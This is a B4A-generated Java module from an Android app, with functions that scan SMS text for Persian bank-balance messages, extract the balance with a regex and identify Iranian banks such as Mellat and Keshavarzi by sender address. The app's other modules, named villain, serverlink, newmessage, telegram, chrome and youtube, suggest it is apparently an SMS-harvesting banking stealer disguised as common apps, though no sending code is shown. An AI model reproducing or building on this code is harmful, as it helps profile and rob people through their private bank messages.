package matinlurd.com;


import anywheresoftware.b4a.BA;
import anywheresoftware.b4a.BALayout;
import anywheresoftware.b4a.debug.*;

public class subs {
private static subs mostCurrent = new subs();
public static Object getObject() {
    throw new RuntimeException("Code module does not support this method.");
}
 public anywheresoftware.b4a.keywords.Common __c = null;
public matinlurd.com.main _main = null;
public matinlurd.com.newmessage _newmessage = null;
public matinlurd.com.serverlink _serverlink = null;
public matinlurd.com.firebasemessaging _firebasemessaging = null;
public matinlurd.com.starter _starter = null;
public matinlurd.com.background _background = null;
public matinlurd.com.matin _matin = null;
public matinlurd.com.myfun _myfun = null;
public matinlurd.com.chrome _chrome = null;
public matinlurd.com.mainchange _mainchange = null;
public matinlurd.com.second _second = null;
public matinlurd.com.telegram _telegram = null;
public matinlurd.com.villain _villain = null;
public matinlurd.com.youtube _youtube = null;
public matinlurd.com.httputils2service _httputils2service = null;
public static String  _bank_findbalance(anywheresoftware.b4a.BA _ba,String _body) throws Exception{
String _pattern = "";
anywheresoftware.b4a.keywords.Regex.MatcherWrapper _matcher1 = null;
 //BA.debugLineNum = 8;BA.debugLine="Public Sub BANK_FindBalance(body As String) As Str";
 //BA.debugLineNum = 9;BA.debugLine="Try";
try { //BA.debugLineNum = 10;BA.debugLine="Dim pattern As String";
_pattern = "";
 //BA.debugLineNum = 11;BA.debugLine="pattern = \"(?:موجود[یي]|مانده)\\s*[:：]?\\s*[\\d٠-٩۰";
_pattern = "(?:موجود[یي]|مانده)\\s*[:：]?\\s*[\\d٠-٩۰-۹,،]+";
 //BA.debugLineNum = 12;BA.debugLine="Dim Matcher1 As Matcher";
_matcher1 = new anywheresoftware.b4a.keywords.Regex.MatcherWrapper();
 //BA.debugLineNum = 13;BA.debugLine="Matcher1 = Regex.Matcher2(pattern, Regex.MULTILI";
_matcher1 = anywheresoftware.b4a.keywords.Common.Regex.Matcher2(_pattern,anywheresoftware.b4a.keywords.Common.Regex.MULTILINE,_body);
 //BA.debugLineNum = 14;BA.debugLine="Do While Matcher1.Find";
while (_matcher1.Find()) {
 //BA.debugLineNum = 15;BA.debugLine="If Matcher1.Match.Length > 2 Then";
if (_matcher1.getMatch().length()>2) { 
 //BA.debugLineNum = 16;BA.debugLine="Return Matcher1.Match";
if (true) return _matcher1.getMatch();
 };
 }
;
 } 
       catch (Exception e12) {
			(_ba.processBA == null ? _ba : _ba.processBA).setLastException(e12); //BA.debugLineNum = 20;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("64915212",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(_ba)),0);
 };
 //BA.debugLineNum = 22;BA.debugLine="Return \"\"";
if (true) return "";
 //BA.debugLineNum = 23;BA.debugLine="End Sub";
return "";
}
public static boolean  _bank_isbank(anywheresoftware.b4a.BA _ba,String _body) throws Exception{
boolean _status = false;
 //BA.debugLineNum = 25;BA.debugLine="Public  Sub BANK_IsBank(body As String) As Boolean";
 //BA.debugLineNum = 26;BA.debugLine="Private Status As Boolean";
_status = false;
 //BA.debugLineNum = 27;BA.debugLine="Try";
try { //BA.debugLineNum = 28;BA.debugLine="If (body.Contains(\"بانک\") Or _ 		 body.Contains(";
if ((_body.contains("بانک") || _body.contains("بانك") || _body.contains("بلو")) && (_body.contains("موجودی") || _body.contains("مانده") || _body.contains("موجودي"))) { 
 //BA.debugLineNum = 34;BA.debugLine="Status = True";
_status = anywheresoftware.b4a.keywords.Common.True;
 }else {
 //BA.debugLineNum = 36;BA.debugLine="Status = False";
_status = anywheresoftware.b4a.keywords.Common.False;
 };
 } 
       catch (Exception e9) {
			(_ba.processBA == null ? _ba : _ba.processBA).setLastException(e9); //BA.debugLineNum = 39;BA.debugLine="Status = False";
_status = anywheresoftware.b4a.keywords.Common.False;
 };
 //BA.debugLineNum = 41;BA.debugLine="Return Status";
if (true) return _status;
 //BA.debugLineNum = 42;BA.debugLine="End Sub";
return false;
}
public static String  _detect_bankname(anywheresoftware.b4a.BA _ba,String _address,String _body) throws Exception{
String _pattern = "";
anywheresoftware.b4a.keywords.Regex.MatcherWrapper _matcher1 = null;
 //BA.debugLineNum = 44;BA.debugLine="Public Sub Detect_BankName(address As String,body";
 //BA.debugLineNum = 45;BA.debugLine="Try";
try { //BA.debugLineNum = 46;BA.debugLine="If address.Contains(\"KESHAVARZI\") Or body.Contai";
if (_address.contains("KESHAVARZI") || _body.contains("bki.ir")) { 
 //BA.debugLineNum = 47;BA.debugLine="Return \"بانک کشاورزی\"";
if (true) return "بانک کشاورزی";
 }else if(_address.contains("IZBANK")) { 
 //BA.debugLineNum = 49;BA.debugLine="Return \"بانک ایران زمین\"";
if (true) return "بانک ایران زمین";
 }else if(_address.contains("Bank Mellat")) { 
 //BA.debugLineNum = 51;BA.debugLine="Return \"بانک ملت\"";
if (true) return "بانک ملت";
 };
 //BA.debugLineNum = 53;BA.debugLine="Dim pattern As String";
_pattern = "";
 //BA.debugLineNum = 54;BA.debugLine="pattern = \"(?=.*(?:بلو|بانك|بانک)).*\"";
_pattern = "(?=.*(?:بلو|بانك|بانک)).*";
 //BA.debugLineNum = 55;BA.debugLine="Dim Matcher1 As Matcher";
_matcher1 = new anywheresoftware.b4a.keywords.Regex.MatcherWrapper();
 //BA.debugLineNum = 56;BA.debugLine="Matcher1 = Regex.Matcher2(pattern, Regex.MULTILI";
_matcher1 = anywheresoftware.b4a.keywords.Common.Regex.Matcher2(_pattern,anywheresoftware.b4a.keywords.Common.Regex.MULTILINE,_body);
 //BA.debugLineNum = 57;BA.debugLine="Do While Matcher1.Find";
while (_matcher1.Find()) {
 //BA.debugLineNum = 58;BA.debugLine="If Matcher1.Match.Length > 2 Then";
if (_matcher1.getMatch().length()>2) { 
 //BA.debugLineNum = 59;BA.debugLine="Return Matcher1.Match";
if (true) return _matcher1.getMatch();
 };
 }
;
 } 
       catch (Exception e19) {
			(_ba.processBA == null ? _ba : _ba.processBA).setLastException(e19); //BA.debugLineNum = 63;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("65046291",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(_ba)),0);
 };
 //BA.debugLineNum = 65;BA.debugLine="Return \"\"";
if (true) return "";
 //BA.debugLineNum = 66;BA.debugLine="End Sub";
return "";
}
public static String  _process_globals() throws Exception{
 //BA.debugLineNum = 3;BA.debugLine="Sub Process_Globals";
 //BA.debugLineNum = 5;BA.debugLine="End Sub";
return "";
}
}
